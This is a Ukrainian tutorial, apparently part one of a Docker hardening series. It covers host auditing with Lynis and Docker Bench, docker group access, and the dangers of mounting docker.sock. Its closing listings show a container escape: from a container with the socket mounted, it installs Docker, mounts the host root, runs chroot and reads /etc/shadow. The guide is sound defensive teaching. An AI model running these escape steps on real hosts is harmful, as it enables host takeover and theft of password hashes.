Надається керівництво по покроковому зміцненню безпеки Docker, охоплюючи важливі рекомендації щодо моніторингу та використання ресурсів для виявлення вразливостей у системі. Це перша частина статті про безпеку Docker.
Припускаємо, що ви знайомі з основами роботи Docker. Це означає, що ви повинні розуміти його принципи, знати різницю між контейнером і зображенням , а також знати, як завантажити зображення зі сховища за допомогою команди docker pull
та як запустити контейнер за допомогою docker run
команди. Також важливо, щоб ви мали уявлення про використання та застосування Dockerfile .
Якщо ви ще не володієте цими знаннями, цей текст може бути вам невідповідним. Рекомендуємо приділити трохи часу ознайомленню з теоретичними та практичними аспектами Docker. Зробити це можна, наприклад, за допомогою безкоштовних матеріалів, доступних на платформі YouTube . Матеріали записуються англійською мовою, але є можливість увімкнути переклад субтитрів. Іноді це краще, ніж нічого!
Безпечна конфігурація – це набір налаштувань, який мінімізує ризик інцидентів із програмним забезпеченням, яке ви використовуєте. Також важливо внести вдосконалення, де це можливо, щоб підвищити рівень безпеки порівняно з конфігурацією за замовчуванням, отриманою «з коробки».
У контексті Docker ми зосередимося на захисті ключових елементів платформи, як показано на малюнку 1:
Хост Docker – це машина (система), на якій Docker запускає контейнери. Безпека контейнерів тісно пов’язана з рівнем безпеки Docker Host. Рекомендується, щоб ця машина не виконувала жодних додаткових ролей, що допомагає мінімізувати поверхню атаки. Також вигідно використовувати образи операційних систем без зайвих пакетів (так звані мінімальні образи),
Docker Daemon – це сервіс, який відповідає за керування контейнерами Docker. Він відстежує та керує зображеннями, контейнерами, мережами та томами. Це також полегшує спілкування з іншими демонами Docker. Як правило, Docker Daemon працює на тій же машині, що й Docker Host, але це не правило, оскільки Docker дозволяє запускати їх на окремих машинах,
Зображення та контейнери – образи Docker – це шаблони, які містять програмне забезпечення та конфігурацію, необхідні для запуску програм. Контейнери Docker — це запущені екземпляри зображень. Їх можна порівняти з віртуальними машинами, але вони легші (вони не містять системного рівня). Контейнер містить усе необхідне для запуску програми, забезпечуючи сумісність у різних середовищах і платформах.
Пункти, представлені в подальшій частині статті, допоможуть у впровадженні вдосконалень конфігурації, захисту від помилок і вразливостей у зазначених областях.
Безпека всього середовища Docker значною мірою залежить від безпеки хосту Docker. Це основна машина, на якій запускаються контейнери, зберігаються локальні копії завантажених зображень і де за умовчанням працює демон Docker, припускаючи, що демон запускається локально, а не на віддаленій машині. Більш детально цей аспект буде розглянуто у відповідному розділі.
Це може здатися нерозумним, але стаття про підвищення безпеки Docker розпочнеться зі стандартного посилення безпеки операційної системи.
Під час створення статті та підготовки прикладів ми спиралися на середовище Docker, яке запускалося на Ubuntu Server 22.04 LTS . Це не випадковий вибір – у багатьох місцях творці Docker рекомендують використовувати саме цей дистрибутив, а точніше системне ядро, яке постачається разом із Ubuntu (мал. 2).
Варто зазначити, що супроводжуючі дистрибутиви, такі як Ubuntu або Fedora, надають «неофіційні» версії інсталяційних пакетів, як це визначено командою Docker. Прикладом може бути docker.io
пакет, який часто згадується в різних посібниках. Його можна встановити за допомогою простої apt
команди (лістинг 1).
sudo apt update && sudo apt install -y docker.io
Лістинг 1. Встановлення пакета docker.io.
Однак, згідно з рекомендаціями в документації Docker, пропонуемо використовувати офіційний інсталяційний пакет. Процес встановлення детально описано в документації, а в лістингу 2 ви знайдете інструкції, актуальні на момент написання цієї статті. Для цього потрібно виконати декілька команд у консолі (мал. 3).
sudo apt-get update sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyring curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg echo \ "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
Лістинг 2. Встановлення Docker з офіційного репозиторію.
Подвійне клацання будь-якого code block
копіює його вміст у буфер обміну!
dockerd
Щоб перевірити, чи правильно встановлено та запущено демон Docker ( ), ви можете скористатися командами docker -v
та/або service docker status
(Малюнок 4).
Як зазначалося раніше, безпека хосту Docker значною мірою залежить від конфігурації операційної системи, у якій він встановлений. Термін «система» тут стосується операційної системи, що працює на вибраному сервері, наприклад Ubuntu, Debian, RHEL тощо. Таким чином, ми зосереджуємося на типовій безпеці системи Linux, беручи до уваги специфічну взаємодію між хостом Docker і Docker Демон.
Я рекомендую захистити систему, яка виконує функцію Docker Host, дотримуючись інструкцій, наданих інструментом Lynis . Lynis — це безкоштовний інструмент (скрипт), також доступний для комерційного використання, ліцензований під GPLv3, який запускається на машині, що проходить аудит. Він сумісний з багатьма популярними системами, включаючи ті, що базуються на ядрах Linux, macOS і BSD.
Важливо, що Lynis містить вбудовані функції, які – окрім аналізу конфігурації операційної системи – також враховують параметри, характерні для систем, де запущено Docker Daemon. Детальну інформацію про це можна знайти в репозиторії Lynis у файлі під назвою include/tests_containers
.
Інструмент Lynis доступний у репозиторіях популярних дистрибутивів, включаючи Ubuntu, тому ви можете встановити його за допомогою команди sudo apt install lynis
(мал. 5).
Репозиторій пакетів вибраного дистрибутива зазвичай містить версію програмного забезпечення, яка на одну чи дві редакції старша за ту, яка доступна в офіційному репозиторії GitHub. Якщо ви хочете використовувати останню версію, у вас є така можливість, запустивши код безпосередньо з репозиторію GitHub (лістинг 3).
git clone --quiet https://github.com/CISOfy/lynis cd lynis ./lynis audit system
Лістинг 3. Завантаження та запуск Lynis безпосередньо зі сховища.
Після завантаження Lynis готовий до використання.
Lynis можна запускати з непривілейованими дозволами користувача, але деякі тести можуть бути неповними або надавати неточну інформацію (Малюнок 6). Рекомендовано запускати Lynis з правами адміністратора за допомогою sudo
команди (лістинг 4).
sudo lynis audit system
Лістинг 4. Запуск Lynis за допомогою sudo.
Слід зазначити, що Lynis, окрім визначення областей, які потребують вдосконалення, також надає поради щодо вирішення кожної виявленої проблеми. Наприклад, після аналізу системи програма дає конкретні рекомендації щодо зміни конфігурації, а також посилання на документацію, де окремі теми обговорюються більш детально (мал. 7).
Іншим інструментом, який можна використовувати для захисту Docker Host, є Docker Bench for Security . Він заснований на стандарті CIS Docker Benchmark v1.6.0.
Як і належить рішенню для контейнерів, Docker Bench for Security можна запускати як сам контейнер (лістинг 5).
docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /var/lib:/var/lib \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/lib/systemd:/usr/lib/systemd \ -v /etc:/etc --label docker_bench_security \ docker/docker-bench-security
Лістинг 5. Завантаження та запуск Docker Bench for Security.
Через кілька секунд почнеться процес аудиту конфігурації (Малюнок 9).
На малюнку 10 представлені додаткові результати та рекомендації, отримані Docker Bench for Security.
Деякі моменти, як-от 2.1 і 2.8 (нумерація результатів Docker Bench for Security), будуть обговорюватися в наступних частинах тексту, пов’язаних із підвищенням привілеїв, простором імен Linux та ізоляцією контейнера. Там покажемо, як практично змінити конфігурацію, щоб наступний аудит завершився успішно.
Підсумовуючи, перший крок, який ми маємо зробити, це захистити конфігурацію системи, що виконує роль хоста Docker і демона Docker, звичайно, в межах наших можливостей. Інструкції, надані Lynis і Docker Bench for Security, будуть дуже корисними.
Після впровадження рекомендацій Lynis і Docker Bench for Security ми можемо бути впевнені, що рівень безпеки нашого хосту Docker значно покращився. Тепер настав час зосередитися на захисті Docker Daemon.
Ми вже встановили Docker у нашій системі. Отже, давайте перевіримо, чи можемо ми відобразити запущені контейнери за допомогою команди docker ps
(мал. 11) або запустити наш перший контейнер ( docker run ubuntu:22.04
).
На жаль, ми бачимо помилку через те, що клієнт Docker не має доступу до Docker Daemon. Причиною цього є той факт, що лише користувачі, які є адміністраторами ( root
) і ті, хто належить до docker
групи, мають дозволи на цей сокет ( ls -la /var/run/docker.sock
; малюнок 12).
Однак наш користувач Reynard не є членом цієї групи за умовчанням. Ми можемо перевірити це за допомогою groups
команди (мал. 13)
Щоб додати користувача до docker
групи, потрібно виконати команду sudo usermod -aG docker reynard
. З цього моменту користувач reynard
також стане членом docker
групи та отримає доступ до Docker Daemon (Малюнок 14).
Щоб перевірити поточний список користувачів, які належать до цієї групи, ви можете скористатися командою grep docker /etc/group
. Команда members docker
є альтернативним рішенням. У нашій системі до групи належать лише користувачі з іменами reynard
та (мал. 15).test
docker
Обмеження кількості користувачів, які мають доступ до Docker Daemon, є важливим елементом процесу підвищення його безпеки. Видаліть користувачів із docker
групи, якщо їм не потрібен цей дозвіл.
Хоча додавання користувача до групи Docker спрощує використання Docker, уникаючи постійних sudo
запитів, важливо враховувати наслідки для безпеки. Надання користувачеві доступу до демона Docker, особливо коли він працює від імені root, значно підвищує ризики безпеки, якщо обліковий запис користувача зламано. Цей доступ фактично надає привілеї кореневого рівня через Docker. Рекомендованою стратегією пом’якшення є створення виділеного користувача виключно для завдань Docker, мінімізуючи потенційні порушення безпеки. Цей обліковий запис не слід використовувати для щоденних дій, не пов’язаних із Docker. Цей підхід узгоджується з найкращими практиками, які відстоюють принцип найменших привілеїв, забезпечуючи користувачам лише той доступ, який необхідний для виконання їхніх завдань.
Коли ви використовуєте команди інтерфейсу командного рядка Docker, наприклад або docker
, клієнт Docker (Docker CLI) за умовчанням спілкується з демоном Docker через сокет для видачі команд. Кожна клієнтська команда Docker викликає REST API відповідного демона Docker через .docker run
docker ps
/var/run/docker.sock
Файл /var/run/docker.sock
є сокетом UNIX, який забезпечує зв’язок із демоном Docker. Ця проблема є важливою з точки зору безпеки. Контроль над цим сокетом означає контроль над демоном Docker, який дозволяє керувати контейнерами, зображеннями та іншими елементами Docker. Тому доступ до розетки /var/run/docker.sock
слід суворо контролювати. Дозволи на використання цього сокета повинні бути надані лише людям і програмам, яким це дійсно потрібно.
Використовуючи docker.sock
Docker REST API, ви маєте повний контроль над Docker Daemon. Прикладом може бути отримання списку запущених контейнерів (малюнок 16, лістинг 6).
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq .
Лістинг 6. Отримання списку запущених контейнерів.
jq
програму, виконавши команду apt install -y jq
.Важливо, що ви не обмежені лише операціями читання, але також маєте можливість змінювати існуючі контейнери, запускати нові та впливати на їхній стан. Давайте спробуємо зупинити запущений контейнер (лістинг 7, малюнок 17).
docker ps # In the curl command, you need to replace the container ID with the correct one. curl --unix-socket /var/run/docker.sock -XPOST http://localhost/containers/84167e82e8cf83d03d8981f80c36a89b2f9d1575cc4ae602be37b30b6711d34f/stop docker ps
Лістинг 7. Зупинка контейнера.
Як бачите, доступ до docker.sock
дозволяє повністю контролювати Docker Daemon. Ви можете запитати, чому це так важливо, коли ми вже маємо доступ до хосту Docker. Проблема стає серйозною, коли з якоїсь причини ваші контейнери отримують доступ до docker.sock
. На жаль, у виробничих середовищах ми часто стикаємося з конструкціями, подібними до тих, що представлені в лістингах 8 і 9.
# THIS IS NOT RECOMMENDED! docker run -it -v /var/run/docker.sock:/var/run/docker.sock [...]
Лістинг 8. Приклад небезпечної конфігурації.
# THIS IS NOT RECOMMENDED! docker run -it -v /:/mnt/ [...]
Лістинг 9. Приклад небезпечної конфігурації.
Перша команда docker run -it -v /var/run/docker.sock:/var/run/docker.sock
запускає новий контейнер Docker. Крім того, ця команда монтує сокет Docker з хоста в контейнер, надаючи можливість керувати демоном Docker, запущеним на хості через цей контейнер. Друга команда docker run -it -v /:/mnt/
монтує всю файлову систему хоста до /mnt/
каталогу в контейнері, надаючи контейнеру повний доступ до файлової системи хоста.
Обидві команди несуть величезний ризик для безпеки. У разі виявлення вразливості безпеки в додатку, що працює в контейнері, і успішної спроби отримати доступ до оболонки контейнера, зловмисник матиме вільний шлях для контролю над хостом Docker. Можна було навіть піти далі. Завдяки можливості налаштування середовища через REST API за допомогою docker.sock
, атака не завжди повинна включати віддалене виконання коду на сервері. Іноді достатньо скористатися такою вразливістю, як SSRF .
Тепер припустімо, що ми використовуємо погано налаштований контейнер Docker (лістинг 10).
docker run -it -v /var/run/docker.sock:/var/run/docker.sock --rm ubuntu:22.04 bash
Лістинг 10. Запуск неправильно налаштованого контейнера.
У цій ситуації хтось (зловмисник) може отримати можливість виконувати команди в контексті контейнера. Це не особливо неможливий сценарій. Потрібно лише, щоб хтось виявив уразливість, яка дозволяє завантажувати так звану веб-оболонку . Для простоти припустімо, що ми проводимо атаку за допомогою стандартної консолі (лістинг 11).
apt-get update > /dev/null apt-get install -y curl > /dev/null curl -fsSL https://get.docker.com -o install-docker.sh sh install-docker.sh > /dev/null 2>&1 docker -v
Лістинг 11. Спроба атаки на контейнер.
Важливо, щоб Docker одразу підключався до стандартного сокета ( docker ps
; мал. 19):
Давайте тепер спробуємо взяти під контроль хост Docker (лістинг 12, малюнок 20).
# Commands to be executed in the context of a vulnerable container (e.g., using RCE vulnerability or a webshell script). docker run -it -v /:/mnt ubuntu:22.04 bash ls /mnt chroot /mnt grep reynard /etc/shadow
Лістинг 12. Спроба взяти під контроль контейнер.
Ця команда docker run -it -v /:/mnt ubuntu:22.04 bash
запускає новий контейнер Docker на основі образу Ubuntu 22.04 і монтує всю файлову систему хоста до /mnt
місця в контейнері, а також відкриває інтерактивну bash
оболонку. Під час роботи в цій оболонці введення команди ls /mnt
відобразить вміст основного каталогу хосту. Потім команда chroot /mnt
змінить основний каталог контейнера на /mnt
, фактично перемістивши контекст контейнера у файлову систему хосту Docker. Нарешті, grep reynard /etc/shadow
команда дозволить вам шукати запис, пов’язаний з користувачем, reynard
у /etc/shadow
файлі хосту, який зберігає зашифровані паролі користувачів. Можливість читати цей файл підтверджує, що ми маємо високі дозволи на хості Docker. Підсумовуючи, нам вдалося взяти під контроль Docker Host!